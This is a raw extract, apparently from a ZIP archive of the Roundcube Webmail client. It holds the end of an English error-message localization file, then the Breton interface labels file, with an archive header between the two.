$messages['errfailedrequest'] = 'Failed request';
$messages['errauthorizationfailed'] = 'Authorization Failed';
$messages['errunauthorizedexplain'] = 'Could not verify that you are authorized to access this service!';
$messages['errrequestcheckfailed'] = 'Request Check Failed';
$messages['errcsrfprotectionexplain'] = "For your protection, access to this resource is secured against CSRF.\nIf you see this, you probably didn't log out before leaving the web application.\n\nHuman interaction is now required to continue.";
$messages['errcontactserveradmin'] = 'Please contact your server-administrator.';
$messages['clicktoresumesession'] = 'Click here to resume your previous session';
$messages['errcomposesession'] = 'Compose session error';
$messages['errcomposesessionexplain'] = 'Requested compose session not found.';
$messages['clicktocompose'] = 'Click here to compose a new message';
$messages['nosupporterror'] = 'This feature is not supported by your web browser.';
$messages['siginserted'] = 'Signature inserted successfully.';
$messages['responseinserted'] = 'Response inserted successfully.';
$messages['noresponsesavailable'] = 'No responses available';
$messages['listempty'] = 'The list is empty.';
$messages['listusebutton'] = 'Use the Create button to add a new record.';
$messages['keypaircreatesuccess'] = 'A new key pair has been successfully created for $identity.';
$messages['emptyattachment'] = 'This attachment appears to be empty.<br>Please, check with the person who sent this.';
$messages['oauthloginfailed'] = 'OAuth login failed. Please try again.';
PK
h�\U�+�p�p"program/localization/br/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Degemer mat war $product';
$labels['username'] = 'Anv an arveriad';
$labels['password'] = 'Ger-Tremen';
$labels['server'] = 'Dafariad';
$labels['login'] = 'Kennaskañ';
$labels['logout'] = 'Digennaskañ';
$labels['mail'] = 'Postel elektronek';
$labels['settings'] = 'Arventennoù';
$labels['addressbook'] = 'Karned chomlec\'hioù';
$labels['inbox'] = 'Boest degemer';
$labels['drafts'] = 'Brouilhedoù';
$labels['sent'] = 'Kaset';
$labels['trash'] = 'Pod-lastez';
$labels['junk'] = 'Stroboù';
$labels['show_real_foldernames'] = 'Diskouez anvioù gwir teuliadoù arbennik';
$labels['subject'] = 'Sujed';
$labels['from'] = 'Eus';
$labels['sender'] = 'Kaser';
$labels['to'] = 'Da';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Cci';
$labels['replyto'] = 'Respont-da';
$labels['followupto'] = 'Treuskas da';
$labels['date'] = 'Deiz';
$labels['size'] = 'Ment';
$labels['priority'] = 'Kentwir';
$labels['organization'] = 'Aozadur';
$labels['readstatus'] = 'Stad al lenn';
$labels['listoptions'] = 'Dibarzhioù ar roll...';
$labels['mailboxlist'] = 'Teuliadoù';
$labels['messagesfromto'] = 'Kemennadoù eus $from da $to war $count';
$labels['threadsfromto'] = 'Sujedoù $from da $to war $count';
$labels['messagenrof'] = 'Kemennad $nr war $count';
$labels['fromtoshort'] = '$from - $to war $count';
$labels['copy'] = 'Eilañ';
$labels['move'] = 'Dilec\'hiañ';
$labels['moveto'] = 'Dilec\'hiañ da...';
$labels['copyto'] = 'Eilañ da…';
$labels['download'] = 'Pellgargañ';
$labels['open'] = 'Digeriñ';
$labels['showattachment'] = 'Diskouez';
$labels['showanyway'] = 'Diskouez anezhañ memestra';
$labels['filename'] = 'Anv ar restr';
$labels['filesize'] = 'Ment ar restr';
$labels['addtoaddressbook'] = 'Ouzhpennañ er c\'harned chomlec\'hioù';
$labels['sun'] = 'Sul';
$labels['mon'] = 'Lun';
$labels['tue'] = 'Meu';
$labels['wed'] = 'Mer';
$labels['thu'] = 'Yao';
$labels['fri'] = 'Gwe';
$labels['sat'] = 'Sad';
$labels['sunday'] = 'Sul';
$labels['monday'] = 'Lun';
$labels['tuesday'] = 'Meurzh';
$labels['wednesday'] = 'Merc\'her';
$labels['thursday'] = 'Yaou';
$labels['friday'] = 'Gwener';
$labels['saturday'] = 'Sadorn';
$labels['jan'] = 'Gen';
$labels['feb'] = 'C\'hwe';
$labels['mar'] = 'Meu';
$labels['apr'] = 'Ebr';
$labels['may'] = 'Mae';
$labels['jun'] = 'Mez';
$labels['jul'] = 'Gou';
$labels['aug'] = 'Eos';
$labels['sep'] = 'Gwe';
$labels['oct'] = 'Her';
$labels['nov'] = 'Du';
$labels['dec'] = 'Ker';
$labels['longjan'] = 'Genver';
$labels['longfeb'] = 'C\'hwevrer';
$labels['longmar'] = 'Meurzh';
$labels['longapr'] = 'Ebrel';
$labels['longmay'] = 'Mae';
$labels['longjun'] = 'Mezheven';
$labels['longjul'] = 'Gouere';
$labels['longaug'] = 'Eost';
$labels['longsep'] = 'Gwengolo';
$labels['longoct'] = 'Here';
$labels['longnov'] = 'Du';
$labels['longdec'] = 'Kerzu';
$labels['today'] = 'Hiziv';
$labels['refresh'] = 'Azgrenaat';
$labels['checkmail'] = 'Gwiriañ kemennadoù nevez';
$labels['compose'] = 'Skrivañ ur c\'hemennad nevez';
$labels['writenewmessage'] = 'Skrivañ ur c\'hemennad nevez';
$labels['reply'] = 'Respont';
$labels['replytomessage'] = 'Respont d\'ar kaser';
$labels['replytoallmessage'] = 'Respont d\'an holl';
$labels['replyall'] = 'Respont d\'an holl';
$labels['replylist'] = 'Respont d\'ar roll';
$labels['forward'] = 'Treuzkas';
$labels['forwardinline'] = 'Treuzkas er gemennadenn';
$labels['forwardattachment'] = 'Treuskas evel pezh stag';
$labels['forwardmessage'] = 'Treuzkas ar c\'hemennad';
$labels['deletemessage'] = 'Dilec\'hiañ ar c\'hemennad er pod-lastez';
$labels['movemessagetotrash'] = 'lakit er pod lastez';
$labels['printmessage'] = 'Moulañ ar c\'hemennad-se';
$labels['previousmessage'] = 'Gwelout ar c"hemennad a-raok';
$labels['firstmessage'] = 'Gwelout ar c\'hemennad kentañ';
$labels['nextmessage'] = 'Gwelout ar c\'hemennad da heul';
$labels['lastmessage'] = 'Gwelout ar c\'hemennad diwezhañ';
$labels['backtolist'] = 'Distreiñ el listenn kemennadoù';
$labels['viewsource'] = 'Gwelout an tarzh';
$labels['mark'] = 'merkañ';
$labels['markmessages'] = 'Merkañ ar c\'hemennad';
$labels['markread'] = 'E-giz lennet';
$labels['markunread'] = 'E-giz anlennet';
$labels['markflagged'] = 'spilhennet';
$labels['markunflagged'] = 'n\'eo ket bet spilhennet';
$labels['moreactions'] = 'muioc\'h a dibab';
$labels['folders-all'] = 'Holl teuliadoù';
$labels['more'] = 'muioc\'h';
$labels['back'] = 'distro';
$labels['options'] = 'Dibarzhioù';
$labels['first'] = 'Kentañ';
$labels['last'] = 'Diwezhañ';
$labels['previous'] = 'Kent';
$labels['next'] = 'War-Lerc\'h';
$labels['select'] = 'Diuzañ';
$labels['all'] = 'An holl';
$labels['none'] = 'Ebet';
$labels['currpage'] = 'Pajenn';
$labels['isread'] = 'Lennet';
$labels['unread'] = 'Na lennet';
$labels['flagged'] = 'Merket';
$labels['unflagged'] = 'N\'eo ket merket';
$labels['unanswered'] = 'Respontet ebet';
$labels['withattachment'] = 'Gant restroù staget';
$labels['deleted'] = 'Dilammet';
$labels['undeleted'] = 'N\'eo ket bet dilammet';
$labels['replied'] = 'Respontet';
$labels['forwarded'] = 'Treuzkaset';
$labels['invert'] = 'Tuginañ';
$labels['filter'] = 'Sil';
$labels['list'] = 'Listennañ';
$labels['threads'] = 'Neudennadoù';
$labels['expand-all'] = 'Diskouez an holl';
$labels['expand-unread'] = 'Diskouez ar re anlennet';
$labels['collapse-all'] = 'Serriñ an holl';
$labels['threaded'] = 'Dre neudennadoù';
$labels['autoexpand_threads'] = 'Diskouez an neudennadoù ar gemennadenn';
$labels['do_expand'] = 'an holl steudadoù';
$labels['expand_only_unread'] = 'Gant kemennadennoù anlennet nemetken';
$labels['fromto'] = 'Eus/ Da';
$labels['flag'] = 'Merket';
$labels['attachment'] = 'Restroù staget';
$labels['nonesort'] = 'Ebet';
$labels['sentdate'] = 'Deiz kas';
$labels['arrival'] = 'Deiz erruet';
$labels['asc'] = 'War-grec\'h';
$labels['desc'] = 'war ziskenn';
$labels['listcolumns'] = 'Roll bannoù';
$labels['listsorting'] = 'Bann rummañ';
$labels['listorder'] = 'Urzh ar rummañ';
$labels['listmode'] = 'Mod roll';
$labels['layoutlist'] = 'Listennañ';
$labels['folderactions'] = 'Gweredoù an teuliad...';
$labels['compact'] = 'Koazhet';
$labels['empty'] = 'Goulo';
$labels['importmessages'] = 'Enporzhiañ kemennadennoù';
$labels['quota'] = 'Arver ar gantenn';
$labels['unknown'] = 'Dianav';
$labels['unlimited'] = 'didermen';
$labels['quotatype'] = 'Doare ';
$labels['quotatotal'] = 'Bevenn';
$labels['quotaused'] = 'Arveret';
$labels['quotastorage'] = 'Egor kantenn';
$labels['quotamessage'] = 'Niver a gemenadennoù';
$labels['quicksearch'] = 'Klask prim';
$labels['resetsearch'] = 'Aderaouekaat ar c\'hlask';
$labels['searchmod'] = 'Kemmer klask';
$labels['msgtext'] = 'Kemennadenn a-bezh';
$labels['body'] = 'Korf';
$labels['type'] = 'Doare';
$labels['namex'] = 'Anv';
$labels['searchscope'] = 'Ledennad';
$labels['currentfolder'] = 'Teuliad bremanel';
$labels['subfolders'] = 'An hini-mañ hag an isteuliadoù';
$labels['allfolders'] = 'Holl teuliadoù';
$labels['searchinterval-1W'] = 'kozhoc\'h eget ur sizhun';
$labels['searchinterval-1M'] = 'kozhoc\'h eget ur miz';
$labels['searchinterval-1Y'] = 'kozhoc\'h eget ur bloaz';
$labels['searchinterval1W'] = 'nevesoc\'h eget ur sizhun';
$labels['searchinterval1M'] = 'nevezoc\'h eget ur miz';
$labels['searchinterval1Y'] = 'nevezoc\'h eget ur bloaz';
$labels['openinextwin'] = 'Digeriñ en ur prenestr nevez';
$labels['emlsave'] = 'Pellgargañ (.eml)';
$labels['changeformattext'] = 'Skrammañ e mentrezh testenn blaen';
$labels['changeformathtml'] = 'Skrammañ e mentrezh HTML';
$labels['editasnew'] = 'Embann evel unan nevez';
$labels['send'] = 'Kas';
$labels['sendmessage'] = 'Kas ar c\'hemennad diouzhtu';
$labels['savemessage'] = 'Gwarediñ ar brouilhed-se';
$labels['addattachment'] = 'Stagañ ur restr';
$labels['charset'] = 'Engodadur';
$labels['editortype'] = 'Furmad aozer';
$labels['returnreceipt'] = 'Testeni degemer';
$labels['dsn'] = 'Rebuziñ stad an treuzkas';
$labels['mailreplyintro'] = 'D\'an/ar $date eo bet skrivet gant $sender:';
$labels['originalmessage'] = 'Kemennadenn orin';
$labels['selectimage'] = 'Diuzañ ur skeudenn';
$labels['addimage'] = 'Ouzhpennañ ur skeudenn';
$labels['selectmedia'] = 'Diuzañ ur film';
$labels['addmedia'] = 'Ouzhpennañ ur film';
$labels['encrypt'] = 'Enringegañ';
$labels['encryptmessage'] = 'Enrinegañ ar gemennadenn';
$labels['encryptmessagemailvelope'] = 'Enrinegañ ar gemennadenn gant ';
$labels['importpubkeys'] = 'Enporzhiañ an alc\'hwezioù foran';
$labels['encryptedsendialog'] = 'O kas ur gemennadenn enrineget';
$labels['keyid'] = 'Naoudi an alc\'hwez';
$labels['keylength'] = 'a vitoù';
$labels['keyexpired'] = 'Diamzeret';
$labels['keyrevoked'] = 'Dizorniet';
$labels['insert'] = 'Enlakaat';
$labels['recipient'] = 'Degemerer';
$labels['editidents'] = 'Embann ar pivelezhioù';
$labels['spellcheck'] = 'Skrivañ';
$labels['checkspelling'] = 'Gwiriañ ar reizhskrivadur';
$labels['resumeediting'] = 'Distreiñ en aozer';
$labels['revertto'] = 'Distreiñ en/r';
$labels['restore'] = 'Assav';
$labels['restoremessage'] = 'Assav ar gemennadenn';
$labels['ignore'] = 'Leuskel';
$labels['responses'] = 'Respontoù';
$labels['insertresponse'] = 'Enlakaat ur respont';
$labels['manageresponses'] = 'Ardeiñ ar respontoù';
$labels['newresponse'] = 'Krouiñ ur respont nevez';
$labels['addresponse'] = 'Ouzhpennañ ur respont';
$labels['editresponse'] = 'Kemmañ ar respont';
$labels['editresponses'] = 'Embann respontoù';
$labels['responsename'] = 'Anv';
$labels['responsetext'] = 'Testenn ar respont';
$labels['attach'] = 'Kenstagañ';
$labels['attachments'] = 'Restroù staget';
$labels['upload'] = 'Pellgas';
$labels['uploadprogress'] = '$percent ($current war $total)';
$labels['close'] = 'Serriñ';
$labels['messageoptions'] = 'Dibarzhioù ar gemennadenn...';
$labels['togglecomposeoptions'] = 'Trec\'haoliñ dibarzhioù kenaozañ';
$labels['low'] = 'Izel';
$labels['lowest'] = 'An izelañ';
$labels['normal'] = 'Reizh';
$labels['high'] = 'Uhel';
$labels['highest'] = 'An uhelañ';
$labels['nosubject'] = '(danvez ebet)';
$labels['showimages'] = 'Diskouez ar skeudennoù';
$labels['alwaysshow'] = 'Atav diskouez skeudennoù a-berzh $sender';
$labels['isdraft'] = 'Ur brouilhed eo.';
$labels['andnmore'] = '$nr muioc\'h...';
$labels['togglemoreheaders'] = 'Diskouez muioc\'h a dalbennoù kemennadenn';
$labels['togglefullheaders'] = 'Trec\'haoliñ talbennoù kemennadenn diaoz';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'testenn kriz';
$labels['savesentmessagein'] = 'Enrollañ ar gemennadenn kaset e';
$labels['dontsave'] = 'Na enrollañ';
$labels['maxuploadsize'] = 'Ar vent vrasañ aotreet eo $size';
$labels['addcc'] = 'Ouzhpennañ Cc';
$labels['addbcc'] = 'Ouzhpennañ Bcc';
$labels['addreplyto'] = 'Ouzhpennañ Respont-da';
$labels['addfollowupto'] = 'Ouzhpennañ Kas-en-dro-da';
$labels['mdnrequest'] = 'Goulennet eo bet gant kaser ar gemennadenn bezañ rebuzet ur wech lennet ar gemennadenn ganeoc\'h. Fallout a ra deoc\'h rebuziñ ar c\'haser?';
$labels['receiptread'] = 'Testeni-degemer (lenn)';
$labels['yourmessage'] = 'Un testeni-degemer evit ho kemennadenn eo';
$labels['receiptnote'] = 'Evezhiadenn: An testeni-se a dalv eo bet skrammet ar gemennadenn war urzhiataer an degemerer. N\'eus gwarant ebet eo bet lennet pe komprenet endalc\'had ar gemennadenn.';
$labels['name'] = 'Anv da ziskouez';
$labels['firstname'] = 'Raganv';
$labels['surname'] = 'Anv';
$labels['middlename'] = 'Anv kreiz';
$labels['nameprefix'] = 'Rakger';
$labels['namesuffix'] = 'Lostger';
$labels['nickname'] = 'Lesanv';
$labels['jobtitle'] = 'Titl labour';
$labels['department'] = 'Departamant';
$labels['gender'] = 'Rev';
$labels['maidenname'] = 'Anv orin';
$labels['email'] = 'Postel';
$labels['phone'] = 'Pellgomz';
$labels['address'] = 'Chomlec\'h';
$labels['street'] = 'Straed';
$labels['locality'] = 'Kêr';
$labels['zipcode'] = 'Kod Post';
$labels['region'] = 'Stad/Proviñs';
$labels['country'] = 'Bro';
$labels['birthday'] = 'Deiz ha bloaz';
$labels['anniversary'] = 'Deiz ha bloaz';
$labels['website'] = 'Lec\'hienn';
$labels['instantmessenger'] = 'Postelerezh prim';
$labels['notes'] = 'Notennoù';
$labels['male'] = 'paotr';
$labels['female'] = 'plac\'h';
$labels['manager'] = 'Merour';
$labels['assistant'] = 'Skoazeller';
$labels['spouse'] = 'Pried';
$labels['allfields'] = 'An holl vaeziennoù';
$labels['search'] = 'Klask';
$labels['searchresult'] = 'Disoc\'hoù an enklask';
$labels['advsearch'] = 'Klask kempleshoc\'h';
$labels['advanced'] = 'Araokaet';
$labels['other'] = 'All';
$labels['printcontact'] = 'Moullañ an darempred';
$labels['qrcode'] = 'KR Kod';
$labels['typehome'] = 'Degemer';
$labels['typework'] = 'Labour';
$labels['typeother'] = 'All';
$labels['typemobile'] = 'Hezoug';
$labels['typemain'] = 'Pennañ';
$labels['typehomefax'] = 'Faks ar gêr';
$labels['typeworkfax'] = 'Faks al labour';
$labels['typecar'] = 'Gwetur';
$labels['typepager'] = 'Pajenner';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Skoazeller';
$labels['typehomepage'] = 'Pajenn degemer';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Ouzhpennañ ur vaezienn...';
$labels['addcontact'] = 'Ouzhpennañ un darempred';
$labels['editcontact'] = 'Cheñch an darempred';
$labels['contacts'] = 'darempred';
$labels['contactproperties'] = 'Perzhioù an darempred';
$labels['contactnameandorg'] = 'Anv hag aozadur';
$labels['personalinfo'] = 'Titouroù personel';
$labels['personal'] = 'Personel';
$labels['contactphoto'] = 'Skeudenn darempred';
$labels['edit'] = 'Embann';
$labels['cancel'] = 'Nullañ';
$labels['save'] = 'Enrollañ';
$labels['delete'] = 'Dilemel';
$labels['discard'] = 'Dilezel';
$labels['rename'] = 'Adenvel';
$labels['addphoto'] = 'Ouzhpennañ';
$labels['replacephoto'] = 'Amsaviñ';
$labels['uploadphoto'] = 'Pellgas ur skeudenn';
$labels['newcontact'] = 'Krouiñ un darempred nevez';
$labels['deletecontact'] = 'Dilemel an darempredoù diuzet';
$labels['composeto'] = 'Skrivañ ur gemennadenn da';
$labels['contactsfromto'] = 'Darempredoù eus $from ouzh $to war $count';
$labels['print'] = 'Moullañ';
$labels['export'] = 'Ezporzhiañ';
$labels['exportall'] = 'Ezporzhiañ an holl';
$labels['exportsel'] = 'Ezporzhiañ ar re diuzet';
$labels['exportvcards'] = 'Ezporzhiañ an darempredoù er mentrezh vCard';
$labels['newgroup'] = 'Krouiñ ur strollad nevez';
$labels['addgroup'] = 'Ouzhpennañ ur strollad';
$labels['grouprename'] = 'Adeñvel ar strollad';
$labels['groupdelete'] = 'Dilemel ar strollad';
$labels['groupremoveselected'] = 'Dilemel an darempredoù diuzet eus ar strollad';
$labels['uponelevel'] = 'Pignat eus ul live';
$labels['previouspage'] = 'Diskouez ar bajenn gent';
$labels['firstpage'] = 'Diskouez ar bajenn gentañ';
$labels['nextpage'] = 'Diskouez ar pajenn da heul';
$labels['lastpage'] = 'Gwelout ar bajenn ziwezhañ';
$labels['group'] = 'Strollad';
$labels['groups'] = 'Strolladoù';
$labels['listgroup'] = 'Roll izili ar strollad';
$labels['personaladrbook'] = 'Chomlec\'h personel';
$labels['searchsave'] = 'enrollane an enklask';
$labels['searchdelete'] = 'dilemel an enklask';
$labels['import'] = 'enporzhiañ';
$labels['importcontacts'] = 'Enporzhiañ darempredoù';
$labels['importtarget'] = 'Ouzhpennañ an darempredoù da';
$labels['importreplace'] = 'Amsaviñ ar c\'harned chomlec\'hioù a-bezh';
$labels['importgroups'] = 'Enporzhiañ deverkadurioù strolladoù';
$labels['importgroupsall'] = 'An holl (krouiñ strolladoù m\'eo ret)';
$labels['importgroupsexisting'] = 'Evit ar strolladoù ma zo diouto hepken';
$labels['done'] = 'Graet eo';
$labels['settingsfor'] = 'Arventennoù evit';
$labels['about'] = 'Diwar-benn';
$labels['preferences'] = 'Gwellvezioù';
$labels['userpreferences'] = 'Gwellvezioù an arveriad';
$labels['editpreferences'] = 'Embann gwellvezioù an arveriad';
$labels['identities'] = 'Pivelezhioù';
$labels['manageidentities'] = 'Ardeiñ ar pivelezhioù';
$labels['newidentity'] = 'Krouiñ ur pivelezh nevez';
$labels['addidentity'] = 'Ouzhpennañ ur pivelezh';
$labels['editidentity'] = 'Embann ur pivelezh';
$labels['identityencryption'] = 'Enrinegañ';
$labels['preferhtml'] = 'Diskouez en HTML';
$labels['defaultcharset'] = 'Spletad arouezennoù dre ziouer';
$labels['htmlmessage'] = 'Kemennadenn HTML';
$labels['messagepart'] = 'Lodenn';
$labels['digitalsig'] = 'Sinadur niverel';
$labels['dateformat'] = 'Mentrezh an deiziad';
$labels['timeformat'] = 'Mentrezh an eur';
$labels['prettydate'] = 'Deiziadoù kaer';
$labels['setdefault'] = 'Arventennoù dre ziouer';
$labels['autodetect'] = 'Emgefre';
$labels['language'] = 'Yezh';
$labels['timezone'] = 'Gwerzhid-eur';
$labels['pagesize'] = 'Niver a linenn dre bajenn';
$labels['signature'] = 'Sinadur';
$labels['dstactive'] = 'Eur an hañv';
$labels['showinextwin'] = 'Digeriñ ar gemennadenn e-barzh ur prenestr nevez';
$labels['composeextwin'] = 'Skrivañ e-barzh ur prenestr nevez';
$labels['htmleditor'] = 'Skrivañ ur gemennadenn er mentrezh HTML';
$labels['htmlonreply'] = 'en ur respont d\'ur gemennadenn HTML';
$labels['htmlonreplyandforward'] = 'en un dreuzkas pe en ur respont d\'ur gemennadenn HTML ';
$labels['htmlsignature'] = 'Sinadur HTML';
$labels['showemail'] = 'Diskouez ar chomlec\'h postel gant an anv skrammañ';
$labels['previewpane'] = 'Diskouez panel alberz';
$labels['skin'] = 'Neuze an etrefas';
$labels['logoutclear'] = 'Skarzhañ ar c\'hest en ur zigennaskañ';
$labels['logoutcompact'] = 'Boest degemer koazhet en ur zigennaskañ';
$labels['uisettings'] = 'Ketal arveriad';
$labels['serversettings'] = 'Arventennoù an dafariad';
$labels['mailboxview'] = 'Gwel boest posteloù';
$labels['mdnrequests'] = 'War c\'houlenn evit an testeni-degemer';
$labels['askuser'] = 'goulenn ganin';
$labels['autosend'] = 'Kas un testeni degemer';
$labels['autosendknown'] = 'kas un testeni degemer d\'am darempredoù, goulenn ganin e mod all';
$labels['autosendknownignore'] = 'kas un testeni degemer d\'am darempredoù, leuskel e mod all';
$labels['ignorerequest'] = 'leuskel ar goulenn';
$labels['readwhendeleted'] = 'Merkañ ar gemennadenn evel lennet p\'eo lamet kuit';
$labels['flagfordeletion'] = 'Merkañ ar gemennadenn da vezañ lamet kuit e plas lemel kuit';
$labels['skipdeleted'] = 'Chom hep skrammañ kemennadennoù dilamet';
$labels['deletealways'] = 'Ma c\'hwit dilec\'hiañ ar c\'hemennadennoù d\'ar c\'hest, lemel anezho kuit';
$labels['deletejunk'] = 'Lemel kuit ar c\'hemennadennoù el lastez war-eeun';
$labels['showremoteimages'] = 'Lemel kuit ar skeudennoù enkorfet a-bell';
$labels['fromknownsenders'] = 'a-berzh kaserien anavezet';
$labels['always'] = 'atav';
$labels['alwaysbutplain'] = 'atav, war-bouez pa vez respontet d\'un destenn blaen';
$labels['showinlineimages'] = 'Skrammañ ar skeudennoù kenstaget dindan ar gemennadenn';
$labels['autosavedraft'] = 'Enrollan ar brouilhedoù ent emgefreek';
$labels['everynminutes'] = 'Bep $n a vunutennoù';
$labels['refreshinterval'] = 'Azgrenaat (gwiriañ posteloù nevez, hag all.)';
$labels['never'] = 'morse';
$labels['immediately'] = 'diouzhtu';
$labels['messagesdisplaying'] = 'O skrammañ kemennadennoù';
$labels['messagescomposition'] = 'O skrivañ kemennadennoù';
$labels['mimeparamfolding'] = 'Anvioù ar c\'henstagadurioù';
$labels['2231folding'] = 'RFC 2231 a-bezh (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 a-bezh (ar re all)';
$labels['force7bit'] = 'Arverañ an enbonegañ MIME evit an arouezennoù 8-bit';
$labels['savelocalstorage'] = "Enrollañ e kadaviñ lec'hel ar merdeer (padennek)";
$labels['advancedoptions'] = 'Dibarzhioù araokaet';
$labels['toggleadvancedoptions'] = 'Trec\'haoliñ an dibarzhioù araoket';
$labels['focusonnewmessage'] = 'Stiañ prenestr ar merdeer pa \'z eus ur gemennadenn nevez';
$labels['checkallfolders'] = 'Gwiriañ an holl deuliadoù evit kemennadennoù nevez';
$labels['defaultfont'] = 'Nodrezh dre ziouer ar c\'hemennadennoù HTML';
$labels['mainoptions'] = 'Dibarzhioù dre ziouer';
$labels['browseroptions'] = 'Dibarzhioù ar merdeer';
$labels['section'] = 'Rann';
$labels['maintenance'] = 'Trezlac\'h';
$labels['newmessage'] = 'Kemennadenn nevez';
$labels['signatureoptions'] = 'Dibarzhioù sinadur';
$labels['whenreplying'] = 'Pa vez respontet';
$labels['replyempty'] = 'Chom hep menegiñ ar gemennadenn orin';
$labels['replytopposting'] = 'kregiñ ar gemennadenn nevez a-us d\'ar meneg';
$labels['replybottomposting'] = 'kregiñ ar gemennadenn nevez dindan ar meneg';
$labels['replyremovesignature'] = 'Pa vez respontet, dilemel ar sinadur orin eus ar gemennadenn ';
$labels['autoaddsignature'] = 'Ouzhpennañ ar sinadur ent emgefreek';
$labels['newmessageonly'] = 'evit ar c\'hemennadennoù nevez hepken';
$labels['replyandforwardonly'] = 'evit ar respontoù hag an treuzkasoù hepken';
$labels['insertsignature'] = 'Enlakaat ar sinadur';
$labels['sigbelow'] = 'Lakaat ar sinadur a-us d\'ar gemennadenn veneget';
$labels['sigseparator'] = 'Rediañ an disranner skoueriek er sinadurioù';
$labels['afternseconds'] = 'goude $n eilenn';
$labels['reqmdn'] = 'Atav goulenn un testeni degemer';
$labels['reqdsn'] = 'Atav goulenn ur rebuziñ stad ar c\'has';
$labels['replysamefolder'] = 'Lakaat ar respontoù en teuliad lec\'h m\'emañ ar gemennadenn orin';
$labels['defaultabook'] = 'Karned chomlec\'hioù dre ziouer';
$labels['autocompletesingle'] = 'Tremen ar chomlec\'hioù postel dazeilel er c\'hlokadur emgefreek ';
$labels['listnamedisplay'] = 'Rollañ an darempredoù evel';
$labels['spellcheckbeforesend'] = 'Gwiriekaat ar reizhskrivañ a-raok kas ur gemennadenn';
$labels['spellcheckoptions'] = 'Dibarzhioù reizhskrivañ';
$labels['spellcheckignoresyms'] = 'Leuskel ar gerioù gant arouezennoù';
$labels['spellcheckignorenums'] = 'Leuskel ar gerioù gant niverennoù';
$labels['spellcheckignorecaps'] = 'Leuskel ar gerioù gant pennlizherennoù hepken';
$labels['addtodict'] = 'Ouzhpennañ d\'ar geriadur';
$labels['mailtoprotohandler'] = 'Dornataour komenad marilhañ  evit mailto: ereoù';
$labels['standardwindows'] = 'Dornata prenestroù diflugell evel prenestroù skoueriek';
$labels['forwardmode'] = 'Treuzkas posteloù';
$labels['inline'] = 'enkorfet';
$labels['asattachment'] = 'kenstaget';
$labels['replyallmode'] = 'Gwered dre ziouer an afell [Respont d\'an holl]';
$labels['replyalldefault'] = 'respont d\'an holl';
$labels['replyalllist'] = 'respont d\'ar roll posteloù hepken (m\'eo kavet)';
$labels['allmessages'] = 'An holl posteloù';
$labels['folder'] = 'Teuliad';
$labels['folders'] = 'Teuliadoù';
$labels['foldername'] = 'Anv an teuliad';
$labels['subscribed'] = 'Koumananter';
$labels['messagecount'] = 'Kemennadennoù';
$labels['create'] = 'Krouiñ';
$labels['createfolder'] = 'Krouiñ un teuliad nevez';
$labels['managefolders'] = 'Ardeiñ an teuliadoù';
$labels['specialfolders'] = 'Teuliadoù arbennik';
$labels['properties'] = 'Perzhioù';
$labels['folderproperties'] = 'Perzhioù an teuliad';
$labels['parentfolder'] = 'Teuliad kar';
$labels['location'] = 'Lec\'hiadur';
$labels['info'] = 'Titouroù';
$labels['getfoldersize'] = 'Klikit da gaout ment an teuliad';
$labels['changesubscription'] = 'Klikit da gemmañ ar c\'houmanant';
$labels['foldertype'] = 'Rizh an teuliad';
$labels['personalfolder'] = 'Teuliad prevez';
$labels['otherfolder'] = 'Teuliad an arveriaded all';
$labels['sharedfolder'] = 'Teuliad foran';
$labels['findfolders'] = 'Kavout teuliadoù';
$labels['namespace.personal'] = 'Personel';
$labels['namespace.other'] = 'Arveriaded all';
$labels['namespace.shared'] = 'Rannet';
$labels['encryptioncreatekey'] = 'Krouiñ un daouad alc\'hwezioù nevez';
$labels['encryption'] = 'Enrinegañ';
$labels['sortby'] = 'Rummañ dre';
$labels['sortasc'] = 'Rumm diagentad';
$labels['sortdesc'] = 'Rumm diskennad';
$labels['undo'] = 'Dizober';
$labels['installedplugins'] = 'Enlugelladoù staliet';
$labels['plugin'] = 'Enlugellad';
$labels['version'] = 'Handelv';
$labels['source'] = 'Tarzh';
$labels['license'] = 'Lañvaz';
$labels['support'] = 'Skoazell';
$labels['B'] = 'Eizhbit';
$labels['KB'] = 'KE';
$labels['MB'] = 'ME';
$labels['GB'] = 'GE';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Saozneg';
$labels['westerneuropean'] = 'Kornôg Europa';
$labels['easterneuropean'] = 'Reter Europa';
$labels['southeasterneuropean'] = 'Gevred Europa';
$labels['baltic'] = 'Baltek';
$labels['cyrillic'] = 'Kirillek';
$labels['arabic'] = 'Arabeg';
$labels['greek'] = 'Gresianeg';
$labels['hebrew'] = 'Hebraek';
$labels['turkish'] = 'Turkeg';
$labels['nordic'] = 'Nordeg';
$labels['thai'] = 'Thai';
$labels['celtic'] = 'Keltieg';
$labels['vietnamese'] = 'Vietnameg';
$labels['japanese'] = 'Japaneg';
$labels['korean'] = 'Koreaneg';
$labels['chinese'] = 'Sinaeg';
$labels['arialabeltopnav'] = 'Reoliadur ar prenestr';
$labels['arialabeltasknav'] = 'Trevelloù arload';
$labels['arialabeltoolbar'] = 'Barrenn ostilhoù arload';
$labels['arialabelactivetask'] = 'Trevell oberiant';
$labels['arialabelmessagessearchfilter'] = 'Sil roll kemennadennoù';
$labels['arialabelmailsearchform'] = 'Furmad klask kemennadennoù';
$labels['arialabelcontactsearchform'] = 'Furmskrid klask darempredoù';
$labels['arialabelmailquicksearchbox'] = 'Enankad klask posteloù';
$labels['arialabelquicksearchbox'] = 'Enankad klask';
$labels['arialabelfoldersearchfilter'] = 'Sil roll teuliadoù';
$labels['arialabelfoldersearchform'] = 'Furmskrid klask teuliadoù';
$labels['arialabelfolderlist'] = 'Diuzad teuliadoù posteloù';
$labels['arialabelmessagelist'] = 'Roll kemennadennoù';
$labels['arialabelmailpreviewframe'] = 'Alberzh kemennadennoù';
$labels['arialabelmailboxmenu'] = 'Lañser gweredoù an teuliad';
